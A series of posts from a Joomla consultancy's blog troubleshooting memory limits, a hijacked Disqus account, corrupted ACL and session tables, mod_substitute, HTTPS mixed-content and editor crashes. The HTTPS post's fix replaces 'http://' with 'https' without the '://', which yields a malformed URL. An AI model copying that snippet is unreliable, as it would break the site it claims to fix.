Say your default php.ini has a memory limit of 32 MB, and say you have 2 GB of RAM on your server… If a page on your Joomla website exceeds 32 MB, then you will see the Allowed memory… fatal error. However, if the memory limit in your php.ini file is set to a very high number, like 4096 MB (or 4 GB, which should never be the case), and you have 2 GB of RAM on your server, then if a page on your Joomla website needs more than 2 GB, then you will see the Out of memory fatal error.

Now, if you read the above paragraph very carefully, then your question would be, why would anyone, in a real life scenario, see the Out of memory fatal error? Good question!

In fact, in a real life scenario, the Out of memory fatal error is never thrown because all of the server’s memory was exhausted, it is thrown because a hard limit set at the Apache level is exceeded, and that hard limit is set using the RLimitMEM directive in Apache. For example, having the following in your httpd.conf file…

RLimitMEM 33554432

…means that there is a hard limit of 32 MB on the memory usage on your Joomla website, which means that any page on your Joomla website needing more than 32 MB will throw the Out of memory fatal error (assuming the PHP memory_limit is higher than 32 MB, otherwise, the page will throw an Allowed memory fatal error).

So, how to address an “Out of memory” fatal error?

Obviously, addressing such an error can be done by either commenting out the whole RLimitMEM line in the httpd.conf file, or by increasing the value of RLimitMEM (also in httpd.conf) to a higher value, and then restarting Apache. Note that if you’re using WHM, you can change the value of RLimitMEM from within WHM, here’s how:

  • Login to the WHM console as root.
  • In the search box on the top left, search for Apache Configuration.

  • Click on Apache Configuration.

  • Scroll down a bit and click on Memory Usage Restrictions.

  • In the Configure Apache RLimits page, you can either disable RLimitMEM or you can just set it to a higher value. Note that you will need to restart Apache for the settings to take effect.

If you’re seeing the problem and you are on shared hosting, then you should contact your hosting company, and they may increase it for you (but don’t hold your breath, as they most likely won’t).

If the above doesn’t fix the problem, then please contact us. We are always ready to help you (even on new year’s eve), our fees are super affordable, and our work is top notch!

On a final note, we would like to wish you a Happy New Year 2017, may it be full of happiness, health, and prosperity for you and your family!

Disqus Account Hijacked – What to Do

Let us tell you a little story…

A huge Joomla website that we fully manage uses Disqus for commenting. The website receives an insane amount of traffic and it is in the Alexa top 10K websites in the US. About 4 months ago, we noticed that the Disqus commenting section had irrelevant ads, but we thought that the client authorized these ads, and so we dismissed this as a non-issue.

Two months ago, the client contacted us and complained about these ads, and so we told them that we were under the impression that these ads were authorized from their end, the client responded that this wasn’t the case, and so we delved deeper into the mysterious world of Disqus.

After investigating the issue, we discovered that Disqus had a platform for displaying ads called “Reveal” which was made very aggressive beginning of the year (beginning of 2016). “Reveal” pays money to publishers, and it was paying the Disqus account owner (who was a developer who worked on the website back in 2011, before we started managing it) about $3,000/month by ACH (ACH stands for Automated Clearing House, another term for direct deposit). Naturally, we disabled “Reveal” in Disqus in order to stop this madness.

We then urged our client to do one of the following:

  • Switch to another Disqus account that they own in order to prevent this in the future, and then ask Disqus to copy the data from one account to another. This option was ideal, but we had serious doubts on whether Disqus will accommodate this request; why should they? It is a free service after all and no one should expect support for anything that was given away for free.
  • Talk to the previous developer and ask him to surrender his admin rights on the account. We also had doubts about this – a developer who sneaks in his information to make a quick buck out of a very reputable client is not a developer that will give away such things easily (or cheaply).

  • Use a Joomla extension such as JComments for commenting platform and then copy the data from Disqus to JComments. This suggestion was the weakest, in our opinion, but it was the only one that was guaranteed to work. Disqus has a solid API, and that API can be used to build the migration tool.

After discussing the issue internally for a few days, the client told us that they will go with the second option, and so we closed the issue on our end. However, we did have this little gut feeling that we will hear from the client about this particular issue in the near future.

And so we did: a couple of weeks ago, the client called us and told us that they were seeing those ugly ads again, and that they needed them removed. So, we tried to login to Disqus, and this time, it didn’t work for us. We asked the client whether they changed their username and/or password on Disqus, but they said they didn’t. We understood what happened immediately: the previous developer discovered that he didn’t receive that $3K in the previous month, so he re-enabled “Reveal” (the Disqus advertising platform, in case you just skipped to this paragraph), and he changed the client’s Disqus password. That was nasty but it was expected.

So, we presented the client with the above 3 options again, and they told us that they tried contacting the previous developer, but he didn’t reply. So, we asked the client to see if they can contact Disqus about this (we also told them to expect very little), and we told them that meanwhile, we will migrate their Disqus comments to JComments.

Immediately after we finished the Disqus migration script to JComments, the client contacted us and told us that, to their (and our) surprise, Disqus replied to them about this and they were willing to help. Here is the email that Disqus sent to our client:

Hi,

Thanks for reaching out to us.

If you have lost your moderator login information, or no longer have access to your forum’s moderation panel due to changes in ownership, you will need to provide the following information so that we can update the Primary Moderator:

-Evidence that you own the site or are in control of the site (this could be a page created on the site with a Disqus-related message, or a screenshot of the site admin or domain registration).

– Shortname of the forum being modified.

– Registered Disqus username of the desired new primary moderator (if you do not have an account you may register one at http://disqus.com/profile/signup ).

– Registered email address of new primary moderator.

If your situation demands more than being set as the Primary Moderator for the forum and having access to the Moderation Panel, please provide us with a detailed description of the issue you are facing.

Woohoo! Disqus did beat our expectations (and those of our client), and they only requested from us to create a specific page for them in order to prove ownership of the website. So, we quickly created a page called “Hi Disqus!” which contained the following text:

“This is a message for Disqus. Thank you for giving us back control over our Disqus account.”

We also created a Disqus account for our client (using an email address belonging to our client’s domain), and we forwarded the account information to our client, telling them to ask Disqus to make the account the master account.

In less than 24 hours, Disqus did just that! They were unbelievably helpful and they were not as we thought they were. We were surprised that they even responded, let alone granting our client full control over his Disqus comments.

We were thrilled that this whole thing ended in the best way possible, and so was our client.

Now if you, our dear reader, lost control over your Disqus account (or didn’t have full control in the first place), then we suggest that you contact Disqus (they will reply to you). If you need help with the process, then please contact us. We have done this before, our fees are super affordable, and we will do our best to turn that nightmare of yours into a positive experience.

List of Website Types That We Are Unable to Work On

Frequently, we get calls from potential clients asking us to fix problems on their Joomla websites, only to find out afterwards that we are unable to do any work for them because of the nature of their websites. Clearly, this leads to disappointment on both ends: the clients need our work and they can’t have it, and we need the clients’ money but we can’t have it.

In order to minimize the disappointment on both ends, we are publishing the list of websites that we cannot work on. Without further ado, here’s the list:

  • Websites with adult material, including nudity websites.
  • Websites selling alcohol and/or promoting the use of alcohol.

  • Websites related in any way to gambling/betting. This includes websites primarily discussing gambling/betting tips and tricks, gambling/betting websites that do not use real money for transactions, and websites primarily selling products that are used for gambling/betting.

  • Websites selling narcotics and/or promoting the use of narcotics. This includes websites selling and/or promoting cannabis for medical or non-medical purposes.

  • Websites with extreme political content (e.g. political websites that incite hate).

  • Websites used for scamming visitors.

  • Websites knowingly and intentionally selling counterfeit products.

  • Websites glorifying the suffering of any living thing (living thing may be an oxymoron, but you get the idea).

  • Websites selling (and/or promoting) magic services and/or products.

  • Websites with obscene content.

  • Websites intentionally promoting fake and/or misleading content.

  • Websites belonging to organizations and/or countries that are on the US or the Canadian embargo list.

The list above reflects our solid values that we believe will promote a better and cleaner Internet (and world) for everyone (we hope that all other developers follow suit, but we know that it’s almost impossible, after all, money is insanely seductive to the absolute majority of developers out there).

If you are in doubt whether your website falls into our blacklist or not, then please contact us, and we’ll give you a definitive and straight answer.

A Script to Migrate Articles’ Meta Keywords to Joomla Tags

Note: Before you use our script, please backup your website (filesystem + database). While we have tested our script many times it’s always better to be on the safe side and backup your Joomla website first.

Important note: The script is provided “as-is”, we can’t claim responsibility for it. We can’t even claim that it will work for you – in fact, running it may even turn on and off the lights in your house incessantly until a 33 year old man who speaks 7 languages (with Gibberish as his first language) says the word “itoctopus” correctly! You have been warned!

We don’t think highly of tags, especially Joomla tags. In previous posts on this blog, we mentioned why they were bad from an SEO perspective and from a technical perspective. Nevertheless, many of our clients use them, and so we cannot ignore the fact that they are there.

In fact, quite a few Joomla administrators were using tags even before Joomla integrated a tag system into its core. Some of them used extensions for tagging, others used meta keywords in articles and simulated a tagging system on their Joomla website.

Naturally, almost all of these Joomla administrators wanted to switch to Joomla’s own tagging system ever since it was introduced, but it wasn’t an easy task: the switch was technically a (costly) migration from one system to another. So, the absolute majority of them kept on using what they were using, with a dream that one day, someone, somewhere, will create a tool that will migrate their tags to Joomla’s tagging system.

Well guess what? For those using meta keywords for tagging the someone is itoctopus and the somewhere is the charming city of Montreal: we have created a script that will smoothly migrate the meta keywords of Joomla articles to tags. Yes, we’re not kidding, you can download the script from here!

All you need to do is to extract the zip file, and copy the unzipped PHP file called migrate-meta-keywords-to-joomla-tags.php to the root directory of your Joomla website (e.g. at the same level of your index.php file), and then point your browser to http://www.[yourjoomlawebsite.com/migrate-meta-keywords-to-joomla-tags.php. Once you do that, the script will automatically generate tags out of your meta keywords and assign them to the appropriate articles. That’s it, you don’t have to do anything else! Convenient and simple, isn’t it?

So, how does the script work?

The script grabs all the articles (that have meta keywords) from your #__content table, and then it loops through each entry, generating tags using a modified createTagsFromField function (this function exists in the tags.php file which is located under the libraries/cms/helper folder), and tagging articles using the tagItem method of the JHelperTags tags class.

Will the script create redundant data if it’s run more than once?

No – it won’t. If you run the scripts multiple times, then the existing tags won’t be recreated, and the articles will be untagged and retagged. In other words, you won’t end up with duplicate data if you run the script multiple times.

How long will the script take to execute?

It depends on the number of articles with meta keywords that you have on your website. We found that it takes around 1 minute to process 400 articles on a medium power server. Note that the more tags you have in the #__tags table, the slower the script will be (e.g. the second batch of 400 articles will take a bit more than a minute to process, and the third batch will take more than the second batch, etc…)

Will the script timeout if there are too many articles with meta keywords?

In most cases, it shouldn’t. We have ensured that there are no limits on the amount of time that the script can take. Nevertheless, some server settings (especially on cheap hosts) disallow any alteration of script timeout limit. If this is the case for you, then you will need to use the LIMIT MySQL clause in the main query to ensure that you process the articles in batches (we have explained how in the script).

Will too many tags cause the Joomla website to be slow?

Definitely. Especially on the backend when you are trying to create/edit articles. One of the posts we have linked to at the very beginning of this post explains this issue in details and how to overcome it.

Can I use this script anywhere for free?

Yes – it’s free for both personal and commercial projects. No need to alert us if you want to use the script. But, if you need help using it, then you can always contact us, but please note that our super affordable fees apply.

Empty (Not Blank) Joomla Backend – Cause and Fix

Note: Any reference to ‘#__’ in this post must be replaced with the database alias of your website, which is defined in the configuration.php file.

This noon, a client called us and told us that whenever he was trying to login to his Joomla website, he was seeing an empty page. He was quick to point out that by empty page he meant a page with virtually no menus and no modules, and not a blank page (which is the sign of a fatal error). He said he was only seeing the Joomla logo, the notification messages module, and the copyright at the bottom of the page. In short, the client was seeing something exactly like the below (we changed the name of the client’s website to Joomla):

Empty Joomla Backend

Figure 1: Empty Joomla Backend

Luckily, we saw this error before, and we remember it had to do with either a corrupt #__assets table or a corrupt #__viewlevels table. We weren’t completely sure (unfortunately, we haven’t documented the solution on our blog).

Since the #__assets table is much larger and much more complex than the #__viewlevels table, we decided to start by checking whether the #__viewlevels table is corrupt or not. So we logged in to phpMyAdmin and we compared the table to the one of a fresh Joomla install, and we noticed the following couple of differences:

  • There was one additional row in the first table (e.g. that of the client).
  • The rules were not identical for the corresponding rows.

We immediately concluded that the problem was a corruption in the #__viewlevels table, and so we replaced the data of in the first table with that of the fresh Joomla install the following way:

  • We truncated the table by issuing the following SQL command in phpMyAdmin:

    TRUNCATE TABLE `#__viewlevels`;

  • We added the clean data by issuing the following query:

    INSERT INTO `#__viewlevels` (`id`, `title`, `ordering`, `rules`) VALUES
    (1, 'Public', 0, '[1]'),
    (2, 'Registered', 2, '[6,2,8]'),
    (3, 'Special', 3, '[6,3,8]'),
    (5, 'Guest', 1, '[9]'),
    (6, 'Super Users', 4, '[8]');

  • That’s it!

We then tried to login to the website, and this time it worked. Hooray!

So, what caused this problem?

We think that either the client or someone working for the client mistakenly caused the problem by modifying the Joomla ACL (Access Control List). This is a common problem and we really think that Joomla must implement measures to automatically mitigate this problem (one shouldn’t be allowed to intentionally or unintentionally corrupt the Joomla ACL while working from within Joomla).

If you are seeing an empty backend after logging in to your Joomla website, then most likely your #__viewlevels table is corrupt. Follow the above instructions to fix it and you should be all set (make sure you backup your database first). If you think the above is a bit over your head, or if you’re just a bit afraid of doing it yourself, then please contact us. We are always ready, we are always happy to help, and our fees are super duper affordable.

Why Is It that Joomla Doesn’t Care About the Category Alias in Article URLs

There is a confusing “feature” in Joomla, and it is that the CMS, unintentionally, can have multiple links pointing to the same article. For example, if you go to the following URLs http://www.[your-joomla-website]/category-1/12-test-article.html and http://www.[your-joomla-website]/category-2/12-test-article.html then both URLs will work despite the fact that they point to the same article, and despite the fact that Test Article belongs to Category 1, and not Category 2.

And why is that a problem?

It is a problem, and a big problem, for that matter, because it will negatively affect rankings in search engines, especially Google rankings (Google will think that the website administrator is trying to spam its database with multiple listings for the same article). Imagine if you have 100 categories and 500 articles on your website. A worst case scenario will mean that you will end up with 50,000 different URLs instead of 500 – which will certainly dilute the strength of each and every URL. From an SEO perspective, this is a nightmare…

So, what causes this issue?

The issue is caused by the parse function which is located in the router.php file (which, in turn, is located under the components/com_content folder), which only takes into consideration the last part of the link for content items when displaying them. So, not only you can have a different category alias in front of the article alias, you can literally have anything! So even the following will work: http://www.[your-joomla-website]/abcdefg1234567/12-test-article.html (try it!), when abcdefg1234567 is not even a category alias (by category alias, we mean a menu item of type Category Blog with an alias that is the same as the alias of the category it is pointing to). What’s even worse is that the home menu item ID (which is the default one) will apply to these weird links, and so all the homepage modules will be assigned to them…

So, how can this problem be solved?

The best solution to this problem is through the SEF Advanced Link, which is a secret feature in Joomla (its mystery is only exceeded by its power, just like the Continuum Transfunctioner). All you need to do is to set it to 1, and we explained how to do that here. Now, if you’re wondering, the reason why doing this will fix the problem is because when this is set, the article ID will no longer appear in the URL, and so Joomla will have no option but to check all the parts of a URL in order to know which article it should display, as the article alias by itself is not sufficient to correctly locate an article (in Joomla, article aliases do not have to be unique).

The downside of the fix above is that it will alter the URL structure of the Joomla website (it will remove the ID of the article from the URL), which can result in a problem bigger than the original problem especially if you have too many articles on your website. So, what you will need to do is develop as simple script (and maybe place it in the defines.php file under the root directory of your website) which will check if the current URL has an ID in front of the alias, and, in case it finds one, then it will issue a 301 REDIRECT to redirect to the URL without that ID.

We have tried out best to make this post as easy as possible, but we reckon that it’s still somehow complex to implement, especially with the last part (redirecting from the old links to the new links). So, if you need help with the implementation, then please contact us. Our work is professional and efficient, our rates are affordable, and we are the most reliable Joomla developers on planet Earth!

A Very Scary VirtueMart Exploit, or Something Else?

A new client called us a couple of hours ago and told us that he had a problem on the VirtueMart store on his Joomla website. He said that early in the morning a client called him and asked him about the status of his one week old order which he paid for through PayPal. Our client was perplexed, because he doesn’t have PayPal as payment method (he sells e-cigarettes and accessories on his online store, which means that he can’t transact through PayPal [PayPal doesn’t allow merchants selling e-cigarettes to transact through their system]). So, our client searched through the VirtueMart orders, and found an order matching that of his client (our client doesn’t use VirtueMart to see the orders, as he uses an application called ShipWorks to do that [which only lists orders that transact successfully through Authorize.net], that’s why he didn’t see that order before). To make a not-so-long story concise, the website made the sale, but someone else took the money.

We immediately investigated the issue, and we noticed the following:

  • The website was using the latest version of Joomla.
  • The website was using the latest version of VirtueMart.

  • The PayPal VirtueMart plugin was installed on the website, and it was configured to accept money to someone with a French email address (the email ended with .fr). The fraudulent orders totaled a tad over $200.

  • There was a weird super user with an even weirder registration date. That user never logged in to the website (according to Joomla anyway).

In order to address the problem, we did the following:

  • We uninstalled the PayPal plugin (we took note of the fraudulent email account first and forwarded it to the client).
  • We removed the weird user from Joomla.

  • We changed the password for the following: the Joomla super user, the cPanel account, the FTP account, and the MySQL database powering the Joomla website.

  • We scanned the website for viruses/backdoors (there were none).

  • We installed our own firewall on the Joomla website.

So, what caused this problem?

We don’t know (we weren’t commissioned to do so), but we have the following theories in our mind:

  • The client did not update the Joomla website to 3.6.4 immediately, so his website suffered from the elevated permissions exploit for a while before updating it, and during that time, someone registered the weird Joomla super user, and used it to install and configure the PayPal plugin. This is a weak theory, however, because the weird Joomla account was never used.
  • Someone knew the super user password, and used it to install the PayPal plugin and configure it. This is a plausible theory because the super user password was super easy.

  • An attacker used a hidden exploit in VirtueMart and installed that plugin. This is improbably but not impossible, and if it is true, then many e-commerce shops are at risk.

We can’t be really sure of the root cause of this problem (we were not commissioned to investigate further), but we’re leaning towards the simple theory, which is the second theory, where someone knew the super user password and used it to install and configure the VM PayPal plugin.

If you’re running a VirtueMart powered online store, then we suggest you verify your payment settings; the prospects of someone changing the payment information on your website to his own are really terrifying. If you found something fishy on your website and you need help, then please contact us. We will clean your website, we will protect it, and we won’t charge you much.

Are You Unable to Edit Your Joomla Articles? Read This!

Note: This post is extremely advanced. Only try to implement the below if you’re a solid developer and after backing up the Joomla website (database + filesystem).

We had a weird case this morning. A client called us and told us that her staff were able to edit certain articles only once every day – in other words, they edit the article the first time, they save it, and then they can’t do edit it again until the next day.

That was very weird, we thought. We haven’t seen something remotely similar in a decade of Joomla consulting. So, we visited the website, and we edited one of those cursed articles, and then we saved it and closed it. To our surprise, the article was no longer editable (the article title was no longer a link).

We knew this whole thing had something to do with the #__assets table, but we just didn’t know where to look. However, after examining the issue further we noticed that the all of these articles belonged to the same category, which was the Uncategorized category.

So We looked up the entry of the Uncategorized category in the #__assets table, and we couldn’t find one, we were, however able to find an entry in the #__assets table matching the value of the asset_id field of that category, and that entry was that of a module (its name was com_modules.module.334). Clearly, that was wrong…

After some testing, we discovered what was happening, when an article belonging to the Uncategorized category was edited and saved, a wrong entry for that article was created in the #__assets table. Why is it a wrong entry? Well, because the parent of that entry is not the right parent (it is a module instead of the Uncategorized category). Obviously, fixing the problem consisted of recreating an entry in the #__assets table for the Uncategorized category. Here’s how we did it:

  • We created a new category, we called it “Test Category”. We made sure that it had the same parent category as that of the Uncategorized category (it actually had no parent).
  • We went to the #__assets table, and then we searched for the entry corresponding to “Test Category”.

  • We changed the value of the name field for that entry in the #__assets table to be com_content.category.33 (where 33 is the ID of the Uncategorized category in the #__categories table), we then changed the title field in the #__assets table to be Uncategorized.

  • We changed the value of the asset_id field of the problematic (Uncategorized) category to that of the ID of the row that we have just changed in the #__assets table.

  • We deleted the Test Category from the #__categories table.

  • We ran the following query on the #__assets table…

    DELETE FROM #__assets WHERE name = 'com_content.article.nnn';

    where nnn is the article ID that we were not able to edit. Doing this removed the bad asset information associated with that article.

  • That’s it. The problem was fixed.

So, what caused the problem in the first place?

We don’t know what caused this data corruption in the #__assets table, but we think it was one of the following:

  • A previous migration that wasn’t 100% clean.
  • A poor extension that corrupted the #__assets table.

  • An incorrect manual edit to the #__assets table.

Why were they able to edit articles the next day?

Well, because the website had a cron job to optimize the #__assets table at midnight of each day. The optimization consisted of pruning all the articles entries in the #__assets table as per our guide here. Once the cron ran, all the bad references in the #__assets table were removed, and so editing articles belonging to the Uncategorized category was possible again.

If you can’t edit articles on your website, then check your #__assets table, and implement the guide above. If you have problems with the implementation, or if you’re too scared to do it, then please contact us. We will do the work for you swiftly, professionally, and for very little money.

“Application Instantiation Error: Table ‘db.#__session’ doesn’t exist” Error in Joomla: 5 Possible Reasons

Note: You must replace #__ in the post below with your database alias which is the value of the variable $dbprefix that is defined in the configuration.php file of your Joomla website.

Another note: Always backup your Joomla database before making any modifications to it.

A not so uncommon fatal error on Joomla websites is the following error:

Application Instantiation Error: Table ‘db.#__session’ doesn’t exist

What the above error essentially means that Joomla is unable to read/write to the critical session table. This can be caused by one of the following (the below are listed in order of occurrences):

  1. The session table is corrupted: The most common reason of the Table ‘db.#__session’ doesn’t exist error is corruption in the #__session table, this is especially the case when the table is using the MyISAM database storage engine (which is infamous for causing table corruption). If this is the case, then you should repair the table, which can be done by issuing the following query in phpMyAdmin:

    REPAIR TABLE `#__session`

    The above query should be sufficient to repair the table. If it doesn’t work, then you may need to reconstruct the table from scratch, which is described in the following section.

    Note: We recommend switching the database engine of the #__session table to InnoDB or to MEMORY as MyISAM is a very flimsy database engine.

  2. The session table was deleted: One some occasions, the cause of the problem is a deleted #__session table. In this case, you will need to reconstruct the table. Reconstructing the table also works if the table is corrupted but cannot be repaired using the REPAIR syntax. Reconstruction of the #__session table is a safe process because the information in the #__session table is meant to be volatile and can be safely deleted at anytime.

    To reconstruct the table, you will need to run the following queries in phpMyAdmin (the following is compatible with Joomla 3.x):

    DROP TABLE `#__session`;
    CREATE TABLE IF NOT EXISTS `#__session` (
      `session_id` varchar(191) NOT NULL DEFAULT '',
      `client_id` tinyint(3) unsigned NOT NULL DEFAULT 0,
      `guest` tinyint(4) unsigned DEFAULT 1,
      `time` varchar(14) DEFAULT '',
      `data` mediumtext,
      `userid` int(11) DEFAULT 0,
      `username` varchar(150) DEFAULT '',
      PRIMARY KEY (`session_id`),
      KEY `userid` (`userid`),
      KEY `time` (`time`)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

    The above code should drop your #__session table and then reconstruct it.

  3. The database user doesn’t have full read/write control over the session table: A not so uncommon cause of the problem is a user which doesn’t have full privileges over the #__session table. This is likely to happen when the Joomla database is managed at a granular level, and not through a mainstream system (like WHM). Fixing the problem is usually done by granting full read/write permissions on the #__session table (this is typically done by a system administrator).

  4. The database is empty: Last week, we had the Table ‘db.#__session’ doesn’t exist problem on a website, and it turned out that the database was empty. It didn’t have a single table, not one. The database did exist and the connection parameters were correct, but it was empty (if the database didn’t exist, or if we had the wrong database credentials in the configuration.php file, then we would have seen the Application Instantiation Error fatal error instead). We fixed this problem by reverting to an old backup. The backup didn’t contain the most up-to-date data, but it was much better than nothing.

  5. The configuration file is pointing to a different database: On some instances, we have seen a configuration.php file where the database parameters are pointing to an existing database, but not to the Joomla database. This is not common but it can happen, and it is usually caused by a human error: for example, the system administrator copied the content of the Joomla database to another database, emptied the original database (and used it for a different purpose), but did not update the parameters in the configuration.php file to point to the new database. Fixing the problem simply consists of updating the database parameters in the configuration.php file to point to the actual database.

We hope that you found our post useful and that it helped you solve your problem. If it didn’t, then you can always contact us. We are always happy to serve, our prices are super cheap, and we really love to have you as a client and a friend!

Using Apache’s Substitute Module to Remove the Joomla Meta Generator Tag

At itoctopus, we love doing things in different ways, this helps us broaden our horizon and it also allows us to provide several alternative solutions for our readers, who may prefer one method over another.

In a previous post, we have discussed, in details, 2 methods for hiding the Joomla version. The first one consisted of modifying a core file (which we don’t usually recommend), and the second one consisted of just modifying the template file.

In this post, we will explain a third method to do that, and it is through the .htaccess file. Yessiree Bob, you heard that right, the only change that you will need to make in order to remove the Joomla meta generator tag is through the .htaccess file.

So, how is it done?

Well, there is this little Apache module called mod_substitute (note: Apache modules are not the same as Joomla modules – Apache modules, if you really want to know more about them, work more or less in the same way as Joomla plugins), which (unsurprisingly) allows the substitution of one pattern with another in the served HTML page. So, to replace the Joomla meta generator tag on the website, all we need to do is to add the following lines to the beginning of the .htaccess file:

<IfModule mod_substitute.c>
	AddOutputFilterByType SUBSTITUTE text/html
	Substitute "s|<meta name=\"generator\" content=\"Joomla! - Open Source Content Management\" />||i"
</IfModule>

That’s it!

What if it doesn’t work?

If it doesn’t work, then most likely you don’t have the mod_substitute Apache module installed and/or enabled on your server. This can be quickly verified by using one of the following methods:

  • Issue the following command in the Linux shell:

    httpd -M | grep 'substitute'

    If you get an empty result, then you don’t have mod_substitute installed.

  • Remove the first line and the last line from the .htaccess code above (only if you are running on a development server), and your website should display a 500 error. Additionally, you will see the following entry in your Apache error log (/usr/local/apache/logs/error_log in a WHM/cPanel instance): Unknown filter provider SUBSTITUTE.

Once you confirm that you don’t have mod_substitute installed, then you can talk to your system administrator about it and he should be able to sort it out for you.

Are there any other uses of mod_substitute?

There are. In fact, it is mostly used to append some JavaScript tracking code to the end of the served page. This is very practical for a system administrator who’s asked to add some tracking code to a Joomla website, but who doesn’t know how to work with it (with the Joomla website).

Are there any disadvantages of using mod_substitute?

Aside from a slight-to-negligible performance hit, there are no technical disadvantages for using mod_substitute. There are, however, some reservations. For example, when you use mod_substitute, you are transferring some of the logic on your website to the .htaccess file, which is not good. You will also make the process of maintaining your website confusing. If you want our opinion, then while we think that mod_substitute is a wow feature (there are only a few people out there who know that you can replace the HTML on a page using .htaccess), we think it should be used only when it’s really needed, and not because of its mystique.

If you think that this whole thing is a bit over your head and you need help with the implementation, then we’re here to help! Just contact us and we’ll implement the above for you swiftly, professionally, and for very little money!

“Blocked loading mixed active content” when Using Joomla’s SEF in HTTPS Mode

Yesterday noon, a new client contacted us and told us that he was having problem when using HTTPS on his Joomla website (the website in question was using the latest Joomla version, which is 3.6.4). He said many images did not appear, and it seemed as if no CSS was applied to the website whatsoever. So, we loaded his website in our browser (we were using FireFox), and then we checked the console log of the browser, which showed the following errors:

Blocked loading mixed active content “http://www.[our-client-joomla-website].com/templates/[our-client-joomla-template]/css/bootstrap.css”
Blocked loading mixed active content “http://www.[our-client-joomla-website].com/templates/[our-client-joomla-template]/css/default.css”
Blocked loading mixed active content “http://www.[our-client-joomla-website].com/templates/[our-client-joomla-template]/css/template.css”
Blocked loading mixed active content “http://www.[our-client-joomla-website].com/templates/[our-client-joomla-template]/css/touch.gallery.css”
Blocked loading mixed active content “http://www.[our-client-joomla-website].com/templates/[our-client-joomla-template]/css/responsive.css”

Looking at the above errors (there were many other similar errors), we immediately knew what the problem was: the website was trying to load HTTP content when in HTTPS mode. The browser, in order to protect the end user, blocked all non HTTPS content.

What was interesting about this whole thing was that the problem disappeared as soon as we switched off Joomla’s SEF plugin. In other words, the problem was technically caused by Joomla’s SEF plugin (the System – SEF plugin).

Naturally, the next step was to examine the HTML code, and so we looked at the HTML code very thoroughly and very carefully, and we were surprised when we saw that all the CSS/JS/image references were relative, and not absolute, meaning we shouldn’t have a problem with them, but we also noticed another thing, it was this line in the head tag:

<base href="http://www.[our-client-joomla-website].com/" />

Aha! So the base href was set to HTTP, and that’s why all the relative links were also set to HTTP. So, our task was to change the http in the above line to https. In other words, we needed to change the above line to:

<base href="https://www.[our-client-joomla-website].com/" />

So, how did we fix it?

Fixing the problem was very easy. All we needed to do was to open the index.php file in the templates/[our-client-joomla-template] folder and add the following code immediately after <?php defined( ‘_JEXEC’ ) or die( ‘Restricted access’ );?>:

<?php $document = JFactory::getDocument();
$document->base = str_replace('http://', 'https', $document->base);?>

That was it! When we refreshed the page after adding the above code, all the Blocked loading mixed active content errors were gone!

But why did the Joomla SEF plugin cause this problem?

While the enabling the System – SEF plugin did result in the problem, we don’t think it was the root cause. We think that the root cause lied elsewhere (no – it wasn’t the $live_site in the configuration.php file). Unfortunately, we were not commissioned to find out what the root cause was, as the client was happy with the fix that we provided (which was pretty solid anyway).

If you’re having the same problem on your Joomla website, then try our solution above. If it didn’t work for you, or if you’re having problems with the implementation, then please contact us. Our work is quick, our results are professional, and you won’t have to pay an arm and a leg (at least not both) to afford us.

“The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.” Error when Updating a Joomla Website

While trying to update the Joomla website of a regular client of ours, we were faced with the following error:

“The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.”

If you are an avid reader of our blog, then you will know that the above error is one of the most dreaded Joomla errors out there. While we have devised a method to get rid of the invalid token problem, we admit that our solution is really about hiding the actual issue, rather than resolving it. Additionally, it was the first time that we have seen this error when trying to update a Joomla website.

Further examination of the update process, we noticed that Akeeba intercepts the update process to make a full backup of the website before the actual update. So we thought, what if the problem had to do with Akeeba?

Knowing that Joomla and Akeeba work closely together, we were confident that if the problem was caused by Akeeba, then it must have been resolved in the latest Akeeba version. So, we updated Akeeba from 4.7.4 to 5.2.4, which is the latest version at the current time, and we tried to update the website again, and this time, it worked. There was no Invalid security token error or any other error for that matter – the update worked super smoothly.

But why did the problem occur with the previous version of Akeeba?

We don’t know – but most likely it was a compatibility issue with Joomla’s updated session management engine. Luckily, the Akeeba people were proactive and fixed the problem immediately.

So, if you’re seeing the “Invalid security token” error on your Joomla website when you’re trying to update it, and if you have Akeeba backup installed, then make sure you update Akeeba backup to the latest version as that might solve your problem. If it doesn’t, then please contact us. We will fix the problem for you quickly, affordably, and professionally.

JCE Editor Crashing on a Specific Joomla Article

We think very highly of JCE and we have huge respect for its developers. We recommend it to our clients and we always install it on the Joomla websites that we fully manage. With the exception of very few quirks, our experience (and that of our clients) is very smooth with JCE.

The very few quirks that JCE has, however, are very irritating, even more irritating than having mayonnaise in a burger, and you know we don’t like mayonnaise, don’t you? (yes – this line is inspired by Jimmy the Tulip.) On the bright side, however, all the quirks that we have experienced with JCE were addressed by modifying its settings (such as this one), which technically doesn’t make them quirks.

But, this morning, a very important client of ours emailed us and told us that they were not able to save a specific Joomla article. They said that the browser was hanging for that specific article and, as such, they weren’t able to make any modifications to the article.

We immediately checked the Joomla article, and we noticed that it had many images, and so we thought that the browser was crashing because of this. So, we went to phpMyAdmin, and we removed all references to the images from the article, and then we tried loading the article from the Joomla backend. Still, the same problem: the editor crashed.

We then thought, what if there are settings in JCE that are causing this crash? What if, for example, JCE was set to validate the HTML and the HTML validation is crashing? So, and while in the Joomla backend, we went to Components -> JCE Editor -> Global Configuration, and, to our joy and rejoice, we noticed that HTML validation was turned on! So we set the Validate HTML field under Cleanup & Output to No. We tried the page again but, unfortunately, it kept crashing. We then set the Compress Javascript, the Compress CSS, and the Compress with Gzip fields under Compression Options to “No”, but that didn’t help either.

At this point, we knew that the problem was with the JavaScript code of the JCE editor, and this made us somehow desperate. Why? Because only a few programmers on planet Earth would love to work on the JavaScript code of the JCE editor, and we’re not among those programmers.

But then we thought, why is the problem happening only on this page and not on other pages? Maybe there is something “special” on this page that is causing the JavaScript to crash. So we started the process of elimination, in other words, we removed, bit by bit, HTML code from the article in phpMyAdmin until the problem was no more, and we finally were able to find the root cause of the problem, it was this line:

<a href='http://www.[ourclientjoomlawebsite].com/page.html'>Click here to continue &nbsp; &gt;&gt; </a>

But what is “special” in the above line? Well, it was this &nbsp;&gt;&gt; bit, for some reason, JCE editor did not love this combination in the anchor tag. Removing the above did fix the problem.

We will report this issue to the JCE development team on Twitter. Meanwhile, if the JCE editor on the backend of your Joomla website is crashing for a specific article, then make sure you 1) update your JCE editor to the latest version, and 2) try our process of elimination above. If none of the above works, then please contact us. We are always happy and ready to help, we love having new clients, and we our fees are super affordable.

“Fatal error: Class ‘JFeedItem’ not found” When Overriding the Joomla Core

